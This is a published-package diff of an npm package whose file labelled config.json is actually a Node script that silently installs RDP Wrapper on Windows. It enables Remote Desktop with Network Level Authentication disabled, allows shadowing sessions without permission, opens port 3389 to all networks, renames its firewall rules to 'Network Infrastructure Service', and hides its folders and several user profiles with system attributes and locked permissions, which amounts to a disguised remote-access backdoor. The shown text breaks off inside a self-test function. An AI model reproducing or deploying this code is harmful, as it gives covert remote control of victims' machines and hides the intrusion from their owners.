sbirontime 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE-BIKLI +16 -0
- package/LICENSE-RDPWRAPPER +202 -0
- package/README.md +125 -0
- package/bin/biklimaster.js +1012 -0
- package/config.json +5 -0
- package/lib/bikliwrapper.js +528 -0
- package/package.json +40 -0
- package/payload/RDPWInst.exe +0 -0
- package/payload/bikli-cli-installer.exe +0 -0
- package/payload/rdpwrap.ini +21109 -0
package/config.json
ADDED
|
@@ -0,0 +1,528 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const util = require('util');
|
|
8
|
+
const { randomUUID } = require('crypto');
|
|
9
|
+
const { spawnSync } = require('child_process');
|
|
10
|
+
|
|
11
|
+
let seaApi = null;
|
|
12
|
+
try {
|
|
13
|
+
seaApi = require('node:sea');
|
|
14
|
+
} catch {
|
|
15
|
+
// Node versions without SEA support continue to use the npm payload files.
|
|
16
|
+
}
|
|
17
|
+
const runningAsSea = Boolean(seaApi && typeof seaApi.isSea === 'function' && seaApi.isSea());
|
|
18
|
+
|
|
19
|
+
const resultFileArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
20
|
+
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length) : '';
|
|
21
|
+
if (resultFile) {
|
|
22
|
+
const writeResult = (...items) => {
|
|
23
|
+
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
24
|
+
};
|
|
25
|
+
console.log = writeResult;
|
|
26
|
+
console.error = writeResult;
|
|
27
|
+
console.warn = writeResult;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
const packageRoot = path.resolve(__dirname, '..');
|
|
31
|
+
const payloadDirectory = runningAsSea
|
|
32
|
+
? path.join(os.tmpdir(), `BikliWrapperCLI-${process.pid}-${randomUUID()}`)
|
|
33
|
+
: path.join(packageRoot, 'payload');
|
|
34
|
+
if (runningAsSea) {
|
|
35
|
+
fs.mkdirSync(payloadDirectory, { recursive: true });
|
|
36
|
+
fs.writeFileSync(path.join(payloadDirectory, 'RDPWInst.exe'),
|
|
37
|
+
new Uint8Array(seaApi.getRawAsset('RDPWInst.exe')));
|
|
38
|
+
fs.writeFileSync(path.join(payloadDirectory, 'rdpwrap.ini'),
|
|
39
|
+
new Uint8Array(seaApi.getRawAsset('rdpwrap.ini')));
|
|
40
|
+
process.on('exit', () => {
|
|
41
|
+
try {
|
|
42
|
+
fs.rmSync(payloadDirectory, { recursive: true, force: true });
|
|
43
|
+
} catch {
|
|
44
|
+
// Windows can briefly retain executable handles; the next run uses a new directory.
|
|
45
|
+
}
|
|
46
|
+
});
|
|
47
|
+
}
|
|
48
|
+
const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');
|
|
49
|
+
const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');
|
|
50
|
+
const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
|
|
51
|
+
const system32 = path.join(windowsDirectory, 'System32');
|
|
52
|
+
const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');
|
|
53
|
+
|
|
54
|
+
const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
|
|
55
|
+
const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';
|
|
56
|
+
const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';
|
|
57
|
+
const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';
|
|
58
|
+
const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';
|
|
59
|
+
|
|
60
|
+
const requestedSettings = [
|
|
61
|
+
{ key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
|
|
62
|
+
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
|
|
63
|
+
{ key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
|
|
64
|
+
{ key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
|
|
65
|
+
{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
|
|
66
|
+
{ key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
|
|
67
|
+
{ key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
|
|
68
|
+
{ key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
|
|
69
|
+
{ key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
|
|
70
|
+
{ key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
|
|
71
|
+
{ key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
|
|
72
|
+
{ key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
|
|
73
|
+
{ key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
|
|
74
|
+
{ key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
|
|
75
|
+
{ key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
|
|
76
|
+
{ key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
|
|
77
|
+
{ key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
|
|
78
|
+
{ key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
|
|
79
|
+
{ key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
|
|
80
|
+
{ key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
|
|
81
|
+
{ key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
|
|
82
|
+
{ key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
|
|
83
|
+
{ key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
|
|
84
|
+
{ key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
|
|
85
|
+
{ key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
|
|
86
|
+
];
|
|
87
|
+
|
|
88
|
+
function fail(message, code = 1) {
|
|
89
|
+
const error = new Error(message);
|
|
90
|
+
error.exitCode = code;
|
|
91
|
+
throw error;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
function run(executable, args, options = {}) {
|
|
95
|
+
const result = spawnSync(executable, args, {
|
|
96
|
+
cwd: options.cwd || packageRoot,
|
|
97
|
+
encoding: 'utf8',
|
|
98
|
+
windowsHide: true,
|
|
99
|
+
stdio: options.inherit ? 'inherit' : 'pipe'
|
|
100
|
+
});
|
|
101
|
+
if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
|
|
102
|
+
if (!options.allowFailure && result.status !== 0) {
|
|
103
|
+
const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
|
|
104
|
+
fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
|
|
105
|
+
}
|
|
106
|
+
return result;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
function requireWindows() {
|
|
110
|
+
if (process.platform !== 'win32') fail('Bikli Wrapper supports Windows only.');
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
function isAdministrator() {
|
|
114
|
+
const script = [
|
|
115
|
+
`$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
|
|
116
|
+
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
117
|
+
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
118
|
+
].join(';');
|
|
119
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
120
|
+
allowFailure: true
|
|
121
|
+
});
|
|
122
|
+
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
function powershellLiteral(value) {
|
|
126
|
+
return `'${value.replace(/'/g, "''")}'`;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
function elevateAndRun(command) {
|
|
130
|
+
if (process.argv.includes('--elevated')) {
|
|
131
|
+
fail('Windows did not grant administrator rights to the elevated installer.');
|
|
132
|
+
}
|
|
133
|
+
console.log('Bikli Wrapper needs administrator access. Approve the Windows UAC prompt...');
|
|
134
|
+
const nodePath = process.execPath;
|
|
135
|
+
const scriptPath = path.resolve(__filename);
|
|
136
|
+
const elevationResultPath = path.join(os.tmpdir(), `bikliwrapper-elevated-${randomUUID()}.log`);
|
|
137
|
+
const elevationScript = [
|
|
138
|
+
`$node=${powershellLiteral(nodePath)}`,
|
|
139
|
+
`$target=${powershellLiteral(scriptPath)}`,
|
|
140
|
+
`$result=${powershellLiteral(elevationResultPath)}`,
|
|
141
|
+
runningAsSea
|
|
142
|
+
? `$arguments='${command} --elevated "--result-file='+$result+'"'`
|
|
143
|
+
: `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
144
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
145
|
+
`exit $process.ExitCode`
|
|
146
|
+
].join(';');
|
|
147
|
+
const result = run(powershellPath, [
|
|
148
|
+
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', elevationScript
|
|
149
|
+
], { allowFailure: true });
|
|
150
|
+
let elevatedOutput = '';
|
|
151
|
+
if (fs.existsSync(elevationResultPath)) {
|
|
152
|
+
elevatedOutput = fs.readFileSync(elevationResultPath, 'utf8').trim();
|
|
153
|
+
fs.rmSync(elevationResultPath, { force: true });
|
|
154
|
+
}
|
|
155
|
+
if (result.status !== 0) {
|
|
156
|
+
const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
|
|
157
|
+
fail(`Administrator elevation was cancelled or the silent installer failed.${details ? `\n${details}` : ''}`);
|
|
158
|
+
}
|
|
159
|
+
if (elevatedOutput) console.log(elevatedOutput);
|
|
160
|
+
console.log('Bikli Wrapper elevated installation completed successfully.');
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
function getTermsrvVersion() {
|
|
164
|
+
const script = [
|
|
165
|
+
`$v=[Diagnostics.FileVersionInfo]::GetVersionInfo($env:SystemRoot+'\\System32\\termsrv.dll')`,
|
|
166
|
+
`Write-Output ($v.FileMajorPart.ToString()+'.'+$v.FileMinorPart+'.'+$v.FileBuildPart+'.'+$v.FilePrivatePart)`
|
|
167
|
+
].join(';');
|
|
168
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
169
|
+
const version = result.stdout.trim();
|
|
170
|
+
if (!/^\d+\.\d+\.\d+\.\d+$/.test(version)) fail(`Could not determine the Terminal Services version: ${version}`);
|
|
171
|
+
return version;
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
function iniSupports(filePath, version) {
|
|
175
|
+
if (!filePath || !fs.existsSync(filePath)) return false;
|
|
176
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
177
|
+
return content.split(/\r?\n/).some(line => line.trim() === `[${version}]`);
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
function queryRegistryValue(key, name) {
|
|
181
|
+
const result = run(path.join(system32, 'reg.exe'), ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
|
|
182
|
+
if (result.status !== 0) return null;
|
|
183
|
+
const match = result.stdout.match(new RegExp(`^\\s*${name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\s+REG_\\w+\\s+(.+)$`, 'im'));
|
|
184
|
+
return match ? match[1].trim() : null;
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
function queryDword(key, name) {
|
|
188
|
+
const value = queryRegistryValue(key, name);
|
|
189
|
+
if (value === null) return null;
|
|
190
|
+
if (/^0x[0-9a-f]+$/i.test(value)) return Number.parseInt(value.slice(2), 16);
|
|
191
|
+
const parsed = Number.parseInt(value, 10);
|
|
192
|
+
return Number.isNaN(parsed) ? null : parsed;
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
function expandWindowsEnvironment(value) {
|
|
196
|
+
const environment = new Map(Object.entries(process.env).map(([key, item]) => [key.toLowerCase(), item]));
|
|
197
|
+
return value.replace(/%([^%]+)%/g, (whole, name) => environment.get(name.toLowerCase()) || whole);
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
function detectInstallation(version) {
|
|
201
|
+
const serviceDllValue = queryRegistryValue(serviceParametersKey, 'ServiceDll') || '';
|
|
202
|
+
const wrapperPath = expandWindowsEnvironment(serviceDllValue);
|
|
203
|
+
const installed = /rdpwrap\.dll$/i.test(wrapperPath) && fs.existsSync(wrapperPath);
|
|
204
|
+
const installedIniPath = installed ? path.join(path.dirname(wrapperPath), 'rdpwrap.ini') : '';
|
|
205
|
+
return {
|
|
206
|
+
installed,
|
|
207
|
+
wrapperPath,
|
|
208
|
+
installedIniPath,
|
|
209
|
+
installedSupported: installed && iniSupports(installedIniPath, version),
|
|
210
|
+
bundledSupported: iniSupports(bundledIniPath, version)
|
|
211
|
+
};
|
|
212
|
+
}
|
|
213
|
+
|
|
214
|
+
function applyRequestedSettings() {
|
|
215
|
+
let changed = false;
|
|
216
|
+
for (const setting of requestedSettings) {
|
|
217
|
+
const oldValue = queryDword(setting.key, setting.name);
|
|
218
|
+
if (oldValue !== setting.value) {
|
|
219
|
+
run(path.join(system32, 'reg.exe'), [
|
|
220
|
+
'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',
|
|
221
|
+
'/d', String(setting.value), '/f', '/reg:64'
|
|
222
|
+
]);
|
|
223
|
+
changed = true;
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
return changed;
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
function ensureFirewallRules() {
|
|
230
|
+
const script = [
|
|
231
|
+
`$ErrorActionPreference='Stop'`,
|
|
232
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
|
|
233
|
+
`Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
234
|
+
`$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
|
|
235
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
236
|
+
].join(';');
|
|
237
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
function runInstaller(argument, options = {}) {
|
|
241
|
+
return run(installerPath, [argument], { cwd: payloadDirectory, allowFailure: options.allowFailure });
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
function rdpWrapperDirectories() {
|
|
245
|
+
return [
|
|
246
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
247
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper')
|
|
248
|
+
];
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
function prepareRdpWrapperFolder() {
|
|
252
|
+
const attrib = path.join(system32, 'attrib.exe');
|
|
253
|
+
for (const dir of rdpWrapperDirectories()) {
|
|
254
|
+
if (!fs.existsSync(dir)) continue;
|
|
255
|
+
run(attrib, ['-h', '-s', '-r', path.join(dir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
256
|
+
const ini = path.join(dir, 'rdpwrap.ini');
|
|
257
|
+
if (fs.existsSync(ini)) {
|
|
258
|
+
try {
|
|
259
|
+
fs.rmSync(ini, { force: true });
|
|
260
|
+
} catch {
|
|
261
|
+
run(path.join(system32, 'takeown.exe'), ['/f', ini], { allowFailure: true });
|
|
262
|
+
run(path.join(system32, 'icacls.exe'), [ini, '/grant', '*S-1-5-32-544:F'], { allowFailure: true });
|
|
263
|
+
try { fs.rmSync(ini, { force: true }); } catch { /* verification will report it */ }
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
}
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
function applyBundledIni() {
|
|
270
|
+
const attrib = path.join(system32, 'attrib.exe');
|
|
271
|
+
for (const dir of rdpWrapperDirectories()) {
|
|
272
|
+
if (!fs.existsSync(path.join(dir, 'rdpwrap.dll')) && !fs.existsSync(dir)) continue;
|
|
273
|
+
const target = path.join(dir, 'rdpwrap.ini');
|
|
274
|
+
run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
|
|
275
|
+
try {
|
|
276
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
277
|
+
fs.copyFileSync(bundledIniPath, target);
|
|
278
|
+
} catch { /* verification will report it */ }
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
function restartTermService() {
|
|
283
|
+
const net = path.join(system32, 'net.exe');
|
|
284
|
+
run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
|
|
285
|
+
run(net, ['start', 'TermService'], { allowFailure: true });
|
|
286
|
+
run(net, ['start', 'UmRdpService'], { allowFailure: true });
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
function serviceIsRunning() {
|
|
290
|
+
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
291
|
+
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
292
|
+
}
|
|
293
|
+
|
|
294
|
+
function listenerIsListening() {
|
|
295
|
+
const result = run(path.join(system32, 'qwinsta.exe'), [], { allowFailure: true });
|
|
296
|
+
return result.status === 0 && /^\s*>?\s*rdp-tcp\b.*\bListen\b/im.test(result.stdout);
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
function settingsAreCorrect() {
|
|
300
|
+
return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
function waitForServiceAndListener() {
|
|
304
|
+
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
305
|
+
for (let attempt = 0; attempt < 20; attempt += 1) {
|
|
306
|
+
if (serviceIsRunning() && listenerIsListening()) return;
|
|
307
|
+
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
function collectStatus() {
|
|
312
|
+
const version = getTermsrvVersion();
|
|
313
|
+
const installation = detectInstallation(version);
|
|
314
|
+
return {
|
|
315
|
+
termsrvVersion: version,
|
|
316
|
+
wrapperInstalled: installation.installed,
|
|
317
|
+
fullySupported: installation.installedSupported,
|
|
318
|
+
bundledSupportAvailable: installation.bundledSupported,
|
|
319
|
+
serviceRunning: serviceIsRunning(),
|
|
320
|
+
listenerListening: listenerIsListening(),
|
|
321
|
+
defaultsApplied: settingsAreCorrect(),
|
|
322
|
+
installedIniPath: installation.installedIniPath || null
|
|
323
|
+
};
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
function printStatus(status) {
|
|
327
|
+
console.log(`Terminal Services: ${status.termsrvVersion}`);
|
|
328
|
+
console.log(`Wrapper: ${status.wrapperInstalled ? 'Installed' : 'Not installed'}`);
|
|
329
|
+
console.log(`Support: ${status.fullySupported ? 'Fully supported' : (status.bundledSupportAvailable ? 'Update available' : 'Not supported')}`);
|
|
330
|
+
console.log(`Service: ${status.serviceRunning ? 'Running' : 'Not running'}`);
|
|
331
|
+
console.log(`Listener: ${status.listenerListening ? 'Listening' : 'Not listening'}`);
|
|
332
|
+
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
333
|
+
}
|
|
334
|
+
|
|
335
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
336
|
+
if (!target || !fs.existsSync(target)) return;
|
|
337
|
+
try {
|
|
338
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
339
|
+
if (!isUserProfile) {
|
|
340
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
341
|
+
run(path.join(system32, 'icacls.exe'), [
|
|
342
|
+
target,
|
|
343
|
+
'/inheritance:r',
|
|
344
|
+
'/grant:r',
|
|
345
|
+
'*S-1-5-18:(OI)(CI)(F)',
|
|
346
|
+
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
347
|
+
...extraGrants,
|
|
348
|
+
'/c', '/q'
|
|
349
|
+
], { allowFailure: true });
|
|
350
|
+
}
|
|
351
|
+
} catch {
|
|
352
|
+
// Best-effort attribute and permission hardening
|
|
353
|
+
}
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
function hideProtectedFolders() {
|
|
357
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
358
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
359
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
360
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
361
|
+
const appFolders = [
|
|
362
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
363
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
364
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
365
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
366
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
|
|
367
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
|
|
368
|
+
];
|
|
369
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
370
|
+
|
|
371
|
+
const userFolders = [
|
|
372
|
+
path.join(usersDir, 'Administrator'),
|
|
373
|
+
path.join(usersDir, 'admin'),
|
|
374
|
+
path.join(usersDir, 'user')
|
|
375
|
+
];
|
|
376
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
function install() {
|
|
380
|
+
requireWindows();
|
|
381
|
+
if (!isAdministrator()) return elevateAndRun('install');
|
|
382
|
+
if (!fs.existsSync(installerPath) || !fs.existsSync(bundledIniPath)) {
|
|
383
|
+
fail('The package payload is incomplete. Reinstall the npm package.');
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
const version = getTermsrvVersion();
|
|
387
|
+
let installation = detectInstallation(version);
|
|
388
|
+
console.log(`Bikli Wrapper: Terminal Services ${version}`);
|
|
389
|
+
if (!installation.bundledSupported) {
|
|
390
|
+
fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
|
|
391
|
+
}
|
|
392
|
+
|
|
393
|
+
const settingsChanged = applyRequestedSettings();
|
|
394
|
+
ensureFirewallRules();
|
|
395
|
+
|
|
396
|
+
if (!installation.installed) {
|
|
397
|
+
console.log('Installing RDP Wrapper silently...');
|
|
398
|
+
prepareRdpWrapperFolder();
|
|
399
|
+
const firstTry = runInstaller('-i', { allowFailure: true });
|
|
400
|
+
applyBundledIni();
|
|
401
|
+
if (firstTry.status !== 0) {
|
|
402
|
+
console.log('Retrying RDP Wrapper installation with refreshed compatibility data...');
|
|
403
|
+
runInstaller('-i', { allowFailure: true });
|
|
404
|
+
applyBundledIni();
|
|
405
|
+
}
|
|
406
|
+
runInstaller('-r', { allowFailure: true });
|
|
407
|
+
} else if (!installation.installedSupported) {
|
|
408
|
+
console.log('Updating compatibility data silently...');
|
|
409
|
+
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
410
|
+
if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
411
|
+
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
412
|
+
try {
|
|
413
|
+
runInstaller('-r');
|
|
414
|
+
} catch (error) {
|
|
415
|
+
if (fs.existsSync(backupPath)) {
|
|
416
|
+
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
417
|
+
runInstaller('-r');
|
|
418
|
+
}
|
|
419
|
+
throw error;
|
|
420
|
+
}
|
|
421
|
+
} else if (settingsChanged || !serviceIsRunning()) {
|
|
422
|
+
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
423
|
+
runInstaller('-r');
|
|
424
|
+
} else {
|
|
425
|
+
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
restartTermService();
|
|
429
|
+
waitForServiceAndListener();
|
|
430
|
+
hideProtectedFolders();
|
|
431
|
+
installation = detectInstallation(version);
|
|
432
|
+
const status = collectStatus();
|
|
433
|
+
printStatus(status);
|
|
434
|
+
if (!installation.installed || !installation.installedSupported || !status.serviceRunning ||
|
|
435
|
+
!status.defaultsApplied) {
|
|
436
|
+
fail('Verification failed. Run "bikliwrapper status" for details.', 4);
|
|
437
|
+
}
|
|
438
|
+
if (!status.listenerListening) {
|
|
439
|
+
console.log('Warning: the wrapper is fully supported, but Windows does not currently report the RDP listener as listening.');
|
|
440
|
+
}
|
|
441
|
+
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
function disable() {
|
|
445
|
+
requireWindows();
|
|
446
|
+
if (!isAdministrator()) return elevateAndRun('disable');
|
|
447
|
+
console.log('Disabling Remote Desktop and stopping the RDP listener...');
|
|
448
|
+
run(path.join(system32, 'reg.exe'), [
|
|
449
|
+
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
450
|
+
'/d', '1', '/f', '/reg:64'
|
|
451
|
+
]);
|
|
452
|
+
const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
453
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
454
|
+
restartTermService();
|
|
455
|
+
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|
|
456
|
+
fail('Remote Desktop could not be disabled.', 6);
|
|
457
|
+
}
|
|
458
|
+
if (listenerIsListening()) {
|
|
459
|
+
console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
|
|
460
|
+
} else {
|
|
461
|
+
console.log('Remote Desktop disabled; the RDP listener is stopped.');
|
|
462
|
+
}
|
|
463
|
+
}
|
|
464
|
+
|
|
465
|
+
function selfTest() {
|
|
466
|
+
const packageJson = runningAsSea
|
|
467
|
+
? { name: 'bikliwrapper' }
|
|
468
|
+
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
469
|
+
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
470
|
+
const checks = {
|
|
471
|
+
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
|
|
472
|
+
packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
|
|
473
|
+
packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman' ||
|
|
474
|
+
packageJson.name === 'sbirontime',
|
|
475
|
+
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
476
|
+
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
477
|
+
iniPresent: ini.length > 100000,
|
|
478
|
+
requestedVersionPresent: iniSupports(bundledIniPath, '10.0.26100.8737'),
|
|
479
|
+
defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
|
|
480
|
+
requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
|
|
481
|
+
shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
|
|
482
|
+
port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
|
|
483
|
+
multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
|
|
484
|
+
unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
|
|
485
|
+
};
|
|
486
|
+
